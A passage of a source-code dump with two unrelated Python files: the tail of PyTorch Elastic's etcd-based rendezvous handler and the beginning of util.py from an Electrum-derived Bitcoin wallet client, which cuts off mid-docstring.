return state["num_workers_waiting"]
except etcd.EtcdKeyNotFound:
pass
return 0
def get_run_id(self) -> str:
return self._rdzv_impl._run_id
def shutdown(self) -> bool:
try:
self.set_closed()
return True
except BaseException as e:
log.warning(f"Shutdown failed. Error occurred: {str(e)}")
return False
# TODO: we should probably handle a few additional errors,
# like EtcdLeaderElectionInProgress and EtcdWatcherCleared. These are
# only relevant for multi-node Etcd ensemble. A simple retry would work,
# but is verbose to add everywhere. Consider wrapping the client calls
# into auto-retry for these errors?
#
class EtcdRendezvous(object):
"""
A rendezvous implementation that uses `etcd <https://etcd.io/>`__ as
the backend store.
"""
def __init__(
self,
client,
prefix,
run_id,
num_min_workers,
num_max_workers,
timeout,
last_call_timeout,
):
self.client = client
log.info("Etcd machines: " + str(self.client.machines))
self._prefix = prefix
self._run_id = run_id
self._num_min_workers = num_min_workers
self._num_max_workers = num_max_workers
self._timeout = timeout
self._last_call_timeout = last_call_timeout
# For cleaning up TTL refresher threads (for ephemeral keys)
self._lease_run_id_stop = None
self._lease_this_rank_stop = None
if not self._prefix.endswith("/"):
self._prefix += "/"
# Setup a permanent prefix dir, if didn't exist
if self._prefix != "/":
self.create_path_if_not_exists(self._prefix)
# Lease a "sub-root" node specific to this job instance (run_id)
self.create_path_if_not_exists(self.get_path(""), ttl=CONST_RUNID_SUBROOT_TTL)
self._lease_run_id_stop = self.setup_lease_renewal(
self.get_path(""), ttl=CONST_RUNID_SUBROOT_TTL
)
# Subdir for all rendezvous work
self.create_path_if_not_exists(self.get_path("/rdzv"))
# Create a rendezvous version counter, if doesn't exist
try:
self.client.write(
key=self.get_path("/rdzv/version_counter"), value="0", prevExist=False
)
except etcd.EtcdAlreadyExist:
pass
def __del__(self):
# TODO: look into using weakref here instead.
if self._lease_run_id_stop is not None:
self._lease_run_id_stop.set()
if self._lease_this_rank_stop is not None:
self._lease_this_rank_stop.set()
def rendezvous_barrier(self):
"""
Main entry point for next rendezvous.
This method is blocking until rendezvous succeeds or a timeout occurs.
Returns:
``(rdzv_version, rank, world_size)``
Raises:
RendezvousTimeoutError - timeout waiting for rendezvous
RendezvousClosedError - rendezvous is or was closed while waiting
RendezvousError - other persistent errors that
render the rendezvous non-retryable
"""
self._rendezvous_deadline = time.time() + self._timeout
while True:
if time.time() > self._rendezvous_deadline:
raise RendezvousTimeoutError()
log.info("Attempting to join next rendezvous")
try:
# Dis-own our lease in the previous rendezvous, if exists
if self._lease_this_rank_stop is not None:
self._lease_this_rank_stop.set()
return self.init_phase()
except EtcdRendezvousRetryImmediately:
# The type of failure suggests we can retry without delay
pass
except EtcdRendezvousRetryableFailure:
# In case of retryable failure, wait a small delay
# to avoid spamming etcd
time.sleep(1)
except RendezvousTimeoutError:
log.info("Rendezvous timeout occured in EtcdRendezvousHandler")
raise
except RendezvousClosedError:
log.info(
f"Rendezvous for run_id={self._run_id} was observed to be closed"
)
raise
except RendezvousError:
raise
except Exception as e:
# In case of a general exception, wait a small delay
# to avoid spamming etcd
# FIXME: there are a few things that fall under this like
# etcd.EtcdKeyNotFound, etc, which could be handled more explicitly.
log.info("Rendezvous attempt failed, will retry. Reason: " + str(e))
time.sleep(1)
def init_phase(self):
"""
Initially, the rendezvous state is expected to be one of:
1. empty (non-existent) - in this case we try to create a new one.
2. joinable - we try to join it.
3. final - we announce ourselves as waiting, and go into monitoring mode
Any other state is considered transitional, and will be retried after
a short delay.
Returns:
``(rdzv_version, rank, world_size)``
Raises:
RendezvousClosedError - current rendezvous was/is closed
EtcdRendezvousRetryableFailure - observed some intermediate
state, which is best handled by retrying later
"""
try:
active_version = self.try_create_rendezvous()
state = json.loads(active_version.value)
log.info("New rendezvous state created: " + str(state))
except etcd.EtcdAlreadyExist:
active_version, state = self.get_rdzv_state()
# Note: it is possible for above query to fail (etcd.EtcdKeyNotFound),
# but this is ok for us - just means we'll restart from beginning.
log.info("Observed existing rendezvous state: " + str(state))
if state["status"] == "closed":
raise RendezvousClosedError()
if state["status"] == "joinable":
return self.join_phase(state["version"])
if state["status"] == "final":
self.handle_existing_rendezvous(state["version"])
raise EtcdRendezvousRetryImmediately()
self.try_wait_for_state_change(etcd_index=active_version.etcd_index + 1)
raise EtcdRendezvousRetryableFailure()
def join_phase(self, expected_version):
"""
We observed a rendezvous state in 'joinable' state, and attempt to join this
particular version, and then wait for all other peers to join.
"""
# Failure to join will propagate an exception, causing a re-entry.
active_version, this_rank = self.join_rendezvous(expected_version)
state = json.loads(active_version.value)
log.info(
"Joined rendezvous version {} as rank {}. Full state: {}".format(
state["version"], this_rank, state
)
)
# If this worker was first to reach num_min_workers requirement,
# and rendezvous is still joinable (therefore it is elastic),
# then this worker will be repsonsible for waiting out the "last call"
# timeout and closing (i.e. transitioning to 'frozen') the rendezvous
# afterwards.
# As a safety against a potential failure of this worker (during the
# last call timeout), the rendezvous state is made ephemeral
# when min_num_workers is reached.
if this_rank == self._num_min_workers - 1 and state["status"] == "joinable":
log.info("Rank {} is responsible for join last call.".format(this_rank))
last_call_deadline = time.time() + self._last_call_timeout
self.handle_join_last_call(expected_version, last_call_deadline)
log.info("Rank {} finished join last call.".format(this_rank))
# Wait for rendezvous state to be frozen, which means a fixed set of peers
log.info("Waiting for remaining peers.")
active_version = self.wait_for_peers(expected_version)
state = json.loads(active_version.value)
assert (
state["version"] == expected_version
), "Logic error: failed to observe version mismatch"
return self.confirm_phase(expected_version, this_rank)
def confirm_phase(self, expected_version, this_rank):
"""
Once the rendezvous state trainsitions from 'joinable' to 'frozen',
we have every participant confirm their membership and setup per-member
keep-alive TTL keys, and then wait for all other participants to confirm,
which would then successfully conclude this rendezvous.
"""
log.info("All peers arrived. Confirming membership.")
self.confirm_membership(expected_version, this_rank)
log.info("Waiting for confirmations from all peers.")
active_version = self.wait_for_final(expected_version)
state = json.loads(active_version.value)
log.info(
"Rendezvous version {} is complete. Final state: {}".format(
state["version"], state
)
)
# Rendezvous version number; our rank in it; world size
return state["version"], this_rank, len(state["participants"])
def handle_existing_rendezvous(self, expected_version):
"""
Handle the case when there's an existing (state 'final) rendezvous already
in place, and we have to announce ourselves waiting, and wait until
the next rendezvous opportunity.
"""
# If state is 'final' -> increment num_workers_waiting
# Then, observe state changes:
# 1. if it's no longer final -> bail out and re-try
# 2. if keep alives are missing, destroy it and bail out.
active_state = self.announce_self_waiting(expected_version)
log.info(
"Added self to waiting list. Rendezvous full state: {}".format(
active_state.value
)
)
self.wait_for_rendezvous_to_free(expected_version)
log.info("Previously existing rendezvous state changed. Will re-try joining.")
def try_create_rendezvous(self):
"""
Create new rendezvous state or raise an exception that indicates
an unexpected state (e.g. already exists)
Raises:
RendezvousError - on unexpected state
"""
# Initially active_version is ephemeral - this is to handle the
# possibility that might fail to complete the setup transaction,
# i.e. the transition "setup" -> "joinable".
active_version = self.client.write(
key=self.get_path("/rdzv/active_version"),
value=json.dumps({"status": "setup"}),
prevExist=False,
ttl=CONST_ETCD_SETUP_TTL,
)
try:
version_counter = self.client.get(self.get_path("/rdzv/version_counter"))
version_counter.value = str(int(version_counter.value) + 1)
self.client.update(version_counter)
except (etcd.EtcdKeyNotFound, etcd.EtcdCompareFailed):
raise RendezvousError(
"Unexpected state of EtcdRendezvousHandler, worker needs to die."
)
# Any failure below results in declaring a retryable rendezvous failure.
# The ephemeral /rdzv/active_version will expire and someone can then
# re-try the setup process.
# Create directory node for participant data
self.client.write(
key=self.get_path("/rdzv/v_{}".format(version_counter.value)),
value=None,
dir=True,
prevExist=False,
)
# Publish rendezvous version and signal it is ready-to-be-joined.
# If rendezvous was set closed just before this, a retry will happen,
# where the closed condition will be handled.
return self.client.test_and_set(
key=self.get_path("/rdzv/active_version"),
value=json.dumps(
{
"status": "joinable",
"version": version_counter.value,
"participants": [],
}
),
prev_value=active_version.value,
)
def join_rendezvous(self, expected_version):
"""
Helper method for the join phase.
"""
# Use compare-and-swap to add self to rendezvous state:
while True:
cas_delay()
active_version, state = self.get_rdzv_state()
if state["status"] != "joinable":
raise EtcdRendezvousRetryableFailure(
"Rendezvous state became non-joinable before we could join. "
"Must join next one."
)
if state["version"] != expected_version:
raise EtcdRendezvousRetryImmediately(
"Rendezvous version changed. Must try join the new one."
)
assert (
len(state["participants"]) < self._num_max_workers
), "Logic error: joinable rendezvous should always have space left"
this_rank = len(state["participants"])
state["participants"].append(this_rank)
# When reaching min workers, or changing state to frozen, we'll set
# the active_version node to be ephemeral.
set_ttl: Optional[int] = None
if len(state["participants"]) == self._num_max_workers:
state["status"] = "frozen"
state["keep_alives"] = []
set_ttl = CONST_ETCD_FROZEN_TTL
elif len(state["participants"]) >= self._num_min_workers:
set_ttl = CONST_ETCD_JOINABLE_EPHEMERAL_TTL
try:
# Compare-and-swap.
active_version = self.client.test_and_set(
key=self.get_path("/rdzv/active_version"),
value=json.dumps(state),
prev_value=active_version.value,
ttl=set_ttl,
)
# We succeeded joining.
return active_version, this_rank
except etcd.EtcdCompareFailed:
log.info("Join rendezvous CAS unsuccessful, retrying")
def wait_for_peers(self, expected_version):
"""
Helper method for the join phase.
"""
active_version, state = self.get_rdzv_state()
while True:
if state["status"] == "frozen" and state["version"] == expected_version:
# Success, all peers arrived.
return active_version
elif state["status"] == "joinable" and state["version"] == expected_version:
# Continue waiting for any interesting events.
active_version, state = self.try_wait_for_state_change(
etcd_index=active_version.etcd_index + 1
)
else:
# No valid transition possible at this point
raise EtcdRendezvousRetryableFailure(
"Rendezvous state transition no longer possible. Must re-enter."
)
def confirm_membership(self, expected_version, this_rank):
"""
Helper method for the confirm phase
"""
# Compare-and-swap loop
while True:
cas_delay()
active_version, state = self.get_rdzv_state()
if state["status"] != "frozen":
raise EtcdRendezvousRetryImmediately(
"Rendezvous no longer frozen, before we confirmed. "
"Must join next one"
)
if state["version"] != expected_version:
raise EtcdRendezvousRetryImmediately(
"Rendezvous version changed. Must try join the new one."
)
this_lease_key = self.get_path(
"/rdzv/v_{}/rank_{}".format(expected_version, this_rank)
)
self.client.set(this_lease_key, value=None, ttl=CONST_WORKER_KEEPALIVE_TTL)
state["keep_alives"].append(this_lease_key)
if len(state["keep_alives"]) == len(state["participants"]):
# Everyone confirmed (this rank is last to do so)
state["status"] = "final"
state["num_workers_waiting"] = 0
finalize = True
else:
finalize = False
try:
# Compare-and-swap. If new state is still frozen, keep it ephemeral.
active_version = self.client.test_and_set(
key=self.get_path("/rdzv/active_version"),
value=json.dumps(state),
prev_value=active_version.value,
ttl=None if finalize else CONST_ETCD_FROZEN_TTL,
)
self._lease_this_rank_stop = self.setup_lease_renewal(
this_lease_key, ttl=CONST_WORKER_KEEPALIVE_TTL
)
return active_version
except etcd.EtcdCompareFailed:
log.info("Confirm membership CAS unsuccessful, retrying")
def wait_for_final(self, expected_version):
"""
Helper method for the confirm phase
"""
active_version, state = self.get_rdzv_state()
while True:
if state["status"] == "final" and state["version"] == expected_version:
# Succcess. This rendezvous is final, and we accept it.
return active_version
elif state["status"] == "frozen" and state["version"] == expected_version:
# Continue waiting for any interesting events.
active_version, state = self.try_wait_for_state_change(
etcd_index=active_version.etcd_index + 1
)
else:
# No valid transition possible at this point
raise EtcdRendezvousRetryableFailure(
"Rendezvous state transition no longer possible. Must re-enter."
)
def announce_self_waiting(self, expected_version):
"""
Announce this worker is waiting (via num_workers_waiting counter) to join next
rendezvous, but only if state and version match.
"""
while True:
cas_delay()
active_version, state = self.get_rdzv_state()
if state["status"] != "final" or state["version"] != expected_version:
raise EtcdRendezvousRetryImmediately()
# Increment counter to signal an additional waiting worker.
state["num_workers_waiting"] += 1
try:
active_version = self.client.test_and_set(
key=self.get_path("/rdzv/active_version"),
value=json.dumps(state),
prev_value=active_version.value,
)
return active_version
except etcd.EtcdCompareFailed:
log.info("Announce self as waiting CAS unsuccessful, retrying")
def wait_for_rendezvous_to_free(self, expected_version):
"""
When there's an existing valid rendezvous in state 'final', we have to
wait until the next opportunity to join.
Such opportunity may come from:
1. rendezvous state changed by someone else, in which case we unblock and retry.
2. rendezvous becomes invalid because at least one member failed to renew their
leased keep_alive node. We detect this, and destroy the rendezvous.
"""
active_version, state = self.get_rdzv_state()
while True:
if state["status"] != "final" or state["version"] != expected_version:
return
# Check if current rendezvous state is valid, in the sense that all
# its members are alive (renewing their lease).
# If not, try destroy this rendezvous, so a new one can be created.
alive_members = self.client.get(
self.get_path("/rdzv/v_{version}".format(version=expected_version))
)
keep_alive_keys = [ch.key for ch in alive_members.children]
for key in state["keep_alives"]:
if key not in keep_alive_keys:
# This participant didn't renew their lease. We'll declare this
# rendezvous version as dead (but only if it hadn't changed)
log.info("Keep-alive key {} is not renewed.".format(key))
log.info(
"Rendevous version {} is incomplete. ".format(expected_version)
)
log.info("Attempting to destroy it.")
# Compare-and-delete operation. Throws if compare failed,
# which means rendezvous was already destroyed/re-created/closed,
# and we can try to re-enter the barrier.
self.client.delete(
key=self.get_path("/rdzv/active_version"),
prevValue=active_version.value,
)
log.info(
"Destroyed rendezvous version {} successfully.".format(
expected_version
)
)
# We can return (and retry) immediately
return
# Existing rendezvous seems valid, no reason to destroy it.
# We just have to wait until something changes and re-check.
try:
overall_timeout = (
max(self._rendezvous_deadline - time.time(), 0.0) + 1.0
)
self.client.watch(
key=self.get_path("/rdzv"),
index=active_version.etcd_index + 1,
recursive=True,
timeout=overall_timeout,
)
except (etcd.EtcdEventIndexCleared, etcd.EtcdWatchTimedOut):
pass
if time.time() > self._rendezvous_deadline:
raise RendezvousTimeoutError()
active_version, state = self.get_rdzv_state()
def handle_join_last_call(self, expected_version, deadline):
"""
After we reach min number of workers, one particular worker takes on the
responsibility of waiting an additional timeout before closing the join window.
If the worker responsible for this fails, the rendezvous will be destroyed due
to expiring TTL, and the other participants will re-rendezvous.
Here we expect to see state <joinable, expected_version>
Exit gracefully if either:
1. state becomes <frozen, expected_version>
2. timeout happens (reaching deadline), in which case
we try the tranisiton to <frozen, expected_version>
Exit with exception otherwise.
"""
active_version, state = self.get_rdzv_state()
while True:
if state["status"] == "frozen" and state["version"] == expected_version:
# Worker set became frozen before last-call timeout. This is possible
# when num_max_workers is reached before the tiemout.
return
if state["status"] != "joinable" or state["version"] != expected_version:
raise EtcdRendezvousRetryableFailure(
"Rendezvous state transition no longer possible. Must re-enter."
)
# If timeout occurred, attempt a state transition (joinable -> frozen)
if time.time() >= deadline:
state["status"] = "frozen"
state["keep_alives"] = []
try:
active_version = self.client.test_and_set(
key=self.get_path("/rdzv/active_version"),
value=json.dumps(state),
prev_value=active_version.value,
ttl=CONST_ETCD_FROZEN_TTL,
)
# We successfully made this rendezvous frozen.
return
except etcd.EtcdCompareFailed:
log.info("Join last-call transition CAS unsuccessful. Will retry")
cas_delay()
active_version, state = self.get_rdzv_state()
continue
# Timeout did not occur, so we must refresh TTL, and wait for
# further changes. Note: we only want TTL to be refreshed if
# state is still joinable, hence we use CAS for that here,
# even though we don't change any of the data.
try:
active_version = self.client.test_and_set(
key=self.get_path("/rdzv/active_version"),
value=active_version.value,
prev_value=active_version.value,
ttl=CONST_ETCD_JOINABLE_EPHEMERAL_TTL,
)
# Minimize "oversleeping":
timeout = min(
CONST_ETCD_JOINABLE_EPHEMERAL_TTL / 2,
deadline - time.time() + 1.0, # Oversleeping by 1s is ok.
)
active_version, state = self.try_wait_for_state_change(
etcd_index=active_version.etcd_index + 1, timeout=timeout
)
except etcd.EtcdCompareFailed:
log.info("Join last-call TTL refresh CAS unsuccessful, will retry")
cas_delay()
active_version, state = self.get_rdzv_state()
def set_closed(self):
"""
Mark rendezvous 'closed' for current run_id, which is used to signal other
participants to not attempt to perform (re-)rendezvous. This is useful
when one of the workers decides the job is complete.
"""
while True:
active_version, state = self.get_rdzv_state()
if state["status"] == "closed":
# Already closed by someone else.
return
state["status"] = "closed"
try:
self.client.test_and_set(
key=self.get_path("/rdzv/active_version"),
value=json.dumps(state),
prev_value=active_version.value,
)
return
except etcd.EtcdCompareFailed:
log.info("Set closed CAS unsuccessful, retrying")
cas_delay()
def get_rdzv_state(self):
active_version = self.client.get(key=self.get_path("/rdzv/active_version"))
return active_version, json.loads(active_version.value)
def try_wait_for_state_change(self, etcd_index, timeout=None):
# Don't sleep past the overall deadline (at least more than by 1s)
overall_timeout = max(self._rendezvous_deadline - time.time(), 0.0) + 1.0
timeout = overall_timeout if timeout is None else min(timeout, overall_timeout)
try:
self.client.watch(
self.get_path("/rdzv/active_version"), index=etcd_index, timeout=timeout
)
except (etcd.EtcdEventIndexCleared, etcd.EtcdWatchTimedOut):
pass
if time.time() > self._rendezvous_deadline:
raise RendezvousTimeoutError()
# Unfortunately, we have to do another fetch in order to get last etcd_index.
return self.get_rdzv_state()
def get_path(self, path):
if not path.startswith("/"):
path = "/" + path
return "{prefix}run_{run_id}{path}".format(
prefix=self._prefix, run_id=self._run_id, path=path
)
def create_path_if_not_exists(self, full_path, ttl=None):
try:
self.client.write(
key=full_path, value=None, dir=True, prevExist=False, ttl=ttl
)
except etcd.EtcdAlreadyExist:
pass
def setup_lease_renewal(self, full_path, ttl):
# NOTE: For ephemeral key TTL renewal (~lease) to work correctly,
# make sure you don't call any long-blocking methods that do not
# release the Python's GIL! An example of this is calling a pybind11
# extension function that is blocking / long-running, but is not
# doing a scoped release of the GIL.
def lease_worker(client, path, ttl, stop_event):
while True:
try:
client.refresh(path, ttl=ttl)
except etcd.EtcdKeyNotFound:
break
except ConnectionRefusedError:
# This error usually occurs during test when the server already got terminated but the
# python garbage collector have not yet invoked the __del__ method.
break
if stop_event.wait(timeout=ttl / 2):
break
lease_stop_event = threading.Event()
lease_thread = threading.Thread(
target=lease_worker, args=(self.client, full_path, ttl, lease_stop_event)
)
lease_thread.daemon = True
lease_thread.start()
return lease_stop_event
def store_extra_data(self, rdzv_version, key, value):
node = self.get_path("/rdzv/v_{}/extra_data".format(rdzv_version))
try:
# If first time we are storing anything:
extra_data = self.client.write(
key=node, value=json.dumps({key: value}), prevExist=False
)
return
except etcd.EtcdAlreadyExist:
pass
# CAS loop, to make sure we don't lose concurrent stores.
while True:
# We never delete extra_data. Failure here should be fatal, no special handling.
extra_data = self.client.get(node)
new_extra_data_value = json.loads(extra_data.value)
new_extra_data_value[key] = value
try:
extra_data = self.client.test_and_set(
key=node,
value=json.dumps(new_extra_data_value),
prev_value=extra_data.value,
)
return
except etcd.EtcdCompareFailed:
log.info("Store extra_data CAS unsuccessful, retrying")
time.sleep(0.1)
def load_extra_data(self, rdzv_version, key, timeout=None):
# 'extra_data' node itself, and the directory it is located in:
node = self.get_path("/rdzv/v_{}/extra_data".format(rdzv_version))
node_dir = self.get_path("/rdzv/v_{}".format(rdzv_version))
# TODO: implement timeout
# https://github.com/pytorch/elastic/issues/12
while True:
# Combined wait for the node itself, and the key inside it.
root = self.client.get(node_dir)
# Find the extra_data node, if it exists
extra_data = [n for n in root.children if n.key == node]
assert len(extra_data) <= 1
# Node for extra_data exists, check the desired key inside it.
if len(extra_data) == 1:
extra_data_dict = json.loads(extra_data[0].value)
if key in extra_data_dict:
return extra_data_dict[key]
# The 'extra_data' node doesn't exist, or they key isn't published yet.
# Wait for interesting events on the extra_data node and retry.
try:
self.client.watch(node, index=root.etcd_index + 1)
except (etcd.EtcdEventIndexCleared, etcd.EtcdWatchTimedOut):
pass
def setup_kv_store(self, rdzv_version):
store_path = self.get_path(f"/rdzv/v_{rdzv_version}/kv")
self.create_path_if_not_exists(store_path)
return EtcdStore(etcd_client=self.client, etcd_store_prefix=store_path)
def _create_etcd_client(params: RendezvousParameters) -> etcd.Client:
"""
Creates a new ``etcd.Client`` from the specified ``RendezvousParameters``.
"""
hostname, port = parse_rendezvous_endpoint(params.endpoint, 2379)
# The communication protocol
protocol = params.config.get("protocol")
if protocol is None:
protocol = "http"
else:
if protocol != "http" and protocol != "https":
raise ValueError("The etcd protocol must be HTTP or HTTPS.")
# The SSL client certificate
ssl_cert = params.config.get("cert")
if ssl_cert is not None:
cert_key = params.config.get("key")
if cert_key is not None:
# The etcd client expects the certificate key as the second element
# of the `cert` tuple.
ssl_cert = (ssl_cert, cert_key)
# The root certificate
ca_cert = params.config.get("cacert")
return etcd.Client(
hostname,
port,
protocol=protocol,
cert=ssl_cert,
ca_cert=ca_cert,
allow_reconnect=True,
)
# Handler for torch.distributed "static" registration
def create_rdzv_handler(params: RendezvousParameters) -> RendezvousHandler:
"""
Usage:
::
rdzv_params = RendezvousParameters(
backend="etcd",
endpoint="192.168.0.42:2379",
run_id="123",
min_nodes=4,
max_nodes=8,
timeout=300,
last_call_timeout=30,
etcd_prefix="custom_prefix",
protocol="https",
cacert="/etc/kubernetes/certs/ca.crt",
cert="/etc/kubernetes/certs/client.crt",
key="/etc/kubernetes/certs/client.key")
# -- or --
rdzv_params = RendezvousParameters(
backend="etcd",
endpoint="192.168.0.42:2379",
run_id="123",
min_nodes=4,
max_nodes=8)
etcd_rdzv_handler = create_etcd_rendezvous_handler(rdzv_params)
Where:
run_id - unique id for this training job instance,
min_nodes - min number of workers expected to join the rendezvous,
max_nodes - max number of workers allowed to join the rendezvous,
defaults to min_workers is not specified.
timeout - total timeout within which next_rendezvous is expected to
succeed; a RendezvousTimeoutError is raised otherwise;
Defaults is 600 (10 minutes).
last_call_timeout - additional wait amount ("last call") after
min number of workers has been reached.
Defaults to 30 seconds.
etcd_prefix - path prefix (from etcd root), inside which all
etcd nodes will be created.
Default is "/torchelastic/p2p".
protocol - http (default) or https to access etcd.
cacert - CA cert to access etcd, only makes sense with https.
cert - client cert to access etcd, only makes sense with https.
key - client key to access etcd, only makes sense with https.
"""
client = _create_etcd_client(params)
etcd_prefix = params.get("etcd_prefix", "/torchelastic/p2p")
rdzv = EtcdRendezvous(
client=client,
prefix=etcd_prefix,
run_id=params.run_id,
num_min_workers=params.min_nodes,
num_max_workers=params.max_nodes,
timeout=params.get_as_int("timeout", _DEFAULT_TIMEOUT),
last_call_timeout=params.get_as_int("last_call_timeout", _DEFAULT_LAST_CALL_TIMEOUT),
)
return EtcdRendezvousHandler(rdzv_impl=rdzv)
|
util.py
|
# Electrum - lightweight Bitcoin client
# Copyright (C) 2011 Thomas Voegtlin
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including without limitation the rights to use, copy, modify, merge,
# publish, distribute, sublicense, and/or sell copies of the Software,
# and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import binascii
import os, sys, re, json
from collections import defaultdict
from datetime import datetime
from decimal import Decimal
import traceback
import urllib
import urllib.request, urllib.parse, urllib.error
import queue
import threading
import hmac
from struct import Struct
import webbrowser
import stat
from .i18n import _
def inv_dict(d):
return {v: k for k, v in d.items()}
base_units = {'BTN':8, 'mBTN':5, 'uBTN':2}
fee_levels = [_('Within 25 blocks'), _('Within 10 blocks'), _('Within 5 blocks'), _('Within 2 blocks'), _('In the next block')]
unpack_int32_from = Struct('<i').unpack_from
unpack_int64_from = Struct('<q').unpack_from
unpack_uint16_from = Struct('<H').unpack_from
unpack_uint32_from = Struct('<I').unpack_from
unpack_uint64_from = Struct('<Q').unpack_from
def normalize_version(v):
return [int(x) for x in re.sub(r'(\.0+)*$','', v).split(".")]
class NotEnoughFunds(Exception): pass
class InvalidPassword(Exception):
def __str__(self):
return _("Incorrect password")
class FileImportFailed(Exception):
def __init__(self, message=''):
self.message = str(message)
def __str__(self):
return _("Failed to import from file.") + "\n" + self.message
class FileExportFailed(Exception):
def __init__(self, message=''):
self.message = str(message)
def __str__(self):
return _("Failed to export to file.") + "\n" + self.message
# Throw this exception to unwind the stack like when an error occurs.
# However unlike other exceptions the user won't be informed.
class UserCancelled(Exception):
'''An exception that is suppressed from the user'''
pass
class Fiat(object):
def __new__(cls, value, ccy):
self = super(Fiat, cls).__new__(cls)
self.ccy = ccy
self.value = value
return self
def __repr__(self):
return 'Fiat(%s)' % self.__str__()
def __str__(self):
if self.value.is_nan():
return _('No Data')
else:
return "{:.2f}".format(self.value) + ' ' + self.ccy
class MyEncoder(json.JSONEncoder):
def default(self, obj):
from .transaction import Transaction
if isinstance(obj, Transaction):
return obj.as_dict()
return super(MyEncoder, self).default(obj)
class PrintError(object):
'''A handy base class'''
def diagnostic_name(self):
return self.__class__.__name__
def print_error(self, *msg):
print_error("[%s]" % self.diagnostic_name(), *msg)
def print_stderr(self, *msg):
print_stderr("[%s]" % self.diagnostic_name(), *msg)
def print_msg(self, *msg):
print_msg("[%s]" % self.diagnostic_name(), *msg)
class ThreadJob(PrintError):
"""A job that is run periodically from a thread's main loop. run() is
called from that thread's context.
"""
def run(self):
"""Called periodically from the thread"""
pass
class DebugMem(ThreadJob):
'''A handy class for debugging GC memory leaks'''
def __init__(self, classes, interval=30):
self.next_time = 0
self.classes = classes
self.interval = interval
def mem_stats(self):
import gc
self.print_error("Start memscan")
gc.collect()
objmap = defaultdict(list)
for obj in gc.get_objects():
for class_ in self.classes:
if isinstance(obj, class_):
objmap[class_].append(obj)
for class_, objs in objmap.items():
self.print_error("%s: %d" % (class_.__name__, len(objs)))
self.print_error("Finish memscan")
def run(self):
if time.time() > self.next_time:
self.mem_stats()
self.next_time = time.time() + self.interval
class DaemonThread(threading.Thread, PrintError):
""" daemon thread that terminates cleanly """
def __init__(self):
threading.Thread.__init__(self)
self.parent_thread = threading.currentThread()
self.running = False
self.running_lock = threading.Lock()
self.job_lock = threading.Lock()
self.jobs = []
def add_jobs(self, jobs):
with self.job_lock:
self.jobs.extend(jobs)
def run_jobs(self):
# Don't let a throwing job disrupt the thread, future runs of
# itself, or other jobs. This is useful protection against
# malformed or malicious server responses
with self.job_lock:
for job in self.jobs:
try:
job.run()
except Exception as e:
traceback.print_exc(file=sys.stderr)
def remove_jobs(self, jobs):
with self.job_lock:
for job in jobs:
self.jobs.remove(job)
def start(self):
with self.running_lock:
self.running = True
return threading.Thread.start(self)
def is_running(self):
with self.running_lock:
return self.running and self.parent_thread.is_alive()
def stop(self):
with self.running_lock:
self.running = False
def on_stop(self):
if 'ANDROID_DATA' in os.environ:
import jnius
jnius.detach()
self.print_error("jnius detach")
self.print_error("stopped")
is_verbose = False
def set_verbosity(b):
global is_verbose
is_verbose = b
def print_error(*args):
if not is_verbose: return
print_stderr(*args)
def print_stderr(*args):
args = [str(item) for item in args]
sys.stderr.write(" ".join(args) + "\n")
sys.stderr.flush()
def print_msg(*args):
# Stringify args
args = [str(item) for item in args]
sys.stdout.write(" ".join(args) + "\n")
sys.stdout.flush()
def json_encode(obj):
try:
s = json.dumps(obj, sort_keys = True, indent = 4, cls=MyEncoder)
except TypeError:
s = repr(obj)
return s
def json_decode(x):
try:
return json.loads(x, parse_float=Decimal)
except:
return x
# taken from Django Source Code
def constant_time_compare(val1, val2):
"""Return True if the two strings are equal, False otherwise."""
return hmac.compare_digest(to_bytes(val1, 'utf8'), to_bytes(val2, 'utf8'))
# decorator that prints execution time
def profiler(func):
def do_profile(func, args, kw_args):
n = func.__name__
t0 = time.time()
o = func(*args, **kw_args)
t = time.time() - t0
print_error("[profiler]", n, "%.4f"%t)
return o
return lambda *args, **kw_args: do_profile(func, args, kw_args)
def android_ext_dir():
import jnius
env = jnius.autoclass('android.os.Environment')
return env.getExternalStorageDirectory().getPath()
def android_data_dir():
import jnius
PythonActivity = jnius.autoclass('org.kivy.android.PythonActivity')
return PythonActivity.mActivity.getFilesDir().getPath() + '/data'
def android_headers_dir():
d = android_ext_dir() + '/org.btn.btn_electrum'
if not os.path.exists(d):
os.mkdir(d)
return d
def android_check_data_dir():
""" if needed, move old directory to sandbox """
ext_dir = android_ext_dir()
data_dir = android_data_dir()
old_electrum_dir = ext_dir + '/btn_electrum'
if not os.path.exists(data_dir) and os.path.exists(old_electrum_dir):
import shutil
new_headers_path = android_headers_dir() + '/blockchain_headers'
old_headers_path = old_electrum_dir + '/blockchain_headers'
if not os.path.exists(new_headers_path) and os.path.exists(old_headers_path):
print_error("Moving headers file to", new_headers_path)
shutil.move(old_headers_path, new_headers_path)
print_error("Moving data to", data_dir)
shutil.move(old_electrum_dir, data_dir)
return data_dir
def get_headers_dir(config):
return android_headers_dir() if 'ANDROID_DATA' in os.environ else config.path
def assert_datadir_available(config_path):
path = config_path
if os.path.exists(path):
return
else:
raise FileNotFoundError(
'Electrum datadir does not exist. Was it deleted while running?' + '\n' +
'Should be at {}'.format(path))
def assert_file_in_datadir_available(path, config_path):
if os.path.exists(path):
return
else:
assert_datadir_available(config_path)
raise FileNotFoundError(
'Cannot find file but datadir is there.' + '\n' +
'Should be at {}'.format(path))
def assert_bytes(*args):
"""
porting helper, assert args type
"""
try:
for x in args:
assert isinstance(x, (bytes, bytearray))
except:
print('assert bytes failed', list(map(type, args)))
raise
def assert_str(*args):
"""
porting helper, assert args type
"""
for x in args:
assert isinstance(x, str)
def to_string(x, enc):
if isinstance(x, (bytes, bytearray)):
return x.decode(enc)
if isinstance(x, str):
return x
else:
raise TypeError("Not a string or bytes like object")
def to_bytes(something, encoding='utf8'):
"""
cast string to bytes() like object, but for python2 support it's bytearray copy
